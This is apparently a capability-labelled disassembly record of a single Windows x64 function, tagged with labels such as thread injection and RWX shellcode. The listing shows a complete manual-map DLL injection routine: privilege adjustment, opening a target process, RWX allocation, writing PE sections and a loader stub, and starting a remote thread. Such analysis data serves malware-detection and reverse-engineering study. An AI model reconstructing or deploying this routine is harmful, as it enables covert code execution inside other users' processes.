Function at 0x140001270
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov edi, dword [0x1400099f0]
lea r8, [rsp + 0x58]
mov edx, 0x28
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor r15d, r15d
test eax, eax
je 0x140001310
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x98]
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x98], 1
mov dword [rsp + 0xa4], 2
mov qword [rsp + 0x9c], 0x14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 0x5a4d
lea r14, [0x140005050]
cmp word [0x140005050], ax
je 0x140001336
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
movsxd rbx, dword [0x14000508c]
add rbx, r14
cmp dword [rbx], 0x4550
je 0x140001359
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, 0x2000
test word [rbx + 0x16], ax
jne 0x140001375
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov r8d, dword [rbx + 0x50]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x1400013f3
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov esi, r15d
cmp r15w, word [rbx + 6]
jae 0x14000143b
nop dword [rax]
mov eax, esi
mov qword [rsp + 0x20], r15
lea rcx, [rax + rax*4]
mov r8d, dword [rbx + rcx*8 + 0x11c]
mov edx, dword [rbx + rcx*8 + 0x114]
add r8, r14
mov r9d, dword [rbx + rcx*8 + 0x118]
add rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc esi
cmp esi, eax
jb 0x140001400
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140001491
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
movsxd rax, dword [0x14000508c]
lea r8, [rsp + 0x60]
add rax, rbp
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rax
mov r9d, 0x38
mov qword [rsp + 0x60], rbp
mov rdx, rsi
mov eax, dword [rbx + 0xb0]
mov rcx, rdi
add rax, rbp
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x78], rax
mov eax, dword [rbx + 0x90]
add rax, rbp
mov qword [rsp + 0x80], rax
mov rax, qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov qword [rsp + 0x88], rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rsp + 0x90], rax
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
lea r8, [0x140001120]
mov qword [rsp + 0x20], r15
lea r9, [fcn.140001260]
mov rcx, rdi
lea rbx, [rsi + 0x38]
sub r9, r8
mov rdx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov qword [rsp + 0x48], r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov qword [rsp + 0x28], r15
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jns 0x14000157f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0xa8]
call qword [sym.imp.KERNEL32.DLL_GetExitCodeThread]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov al, 1
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001950
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret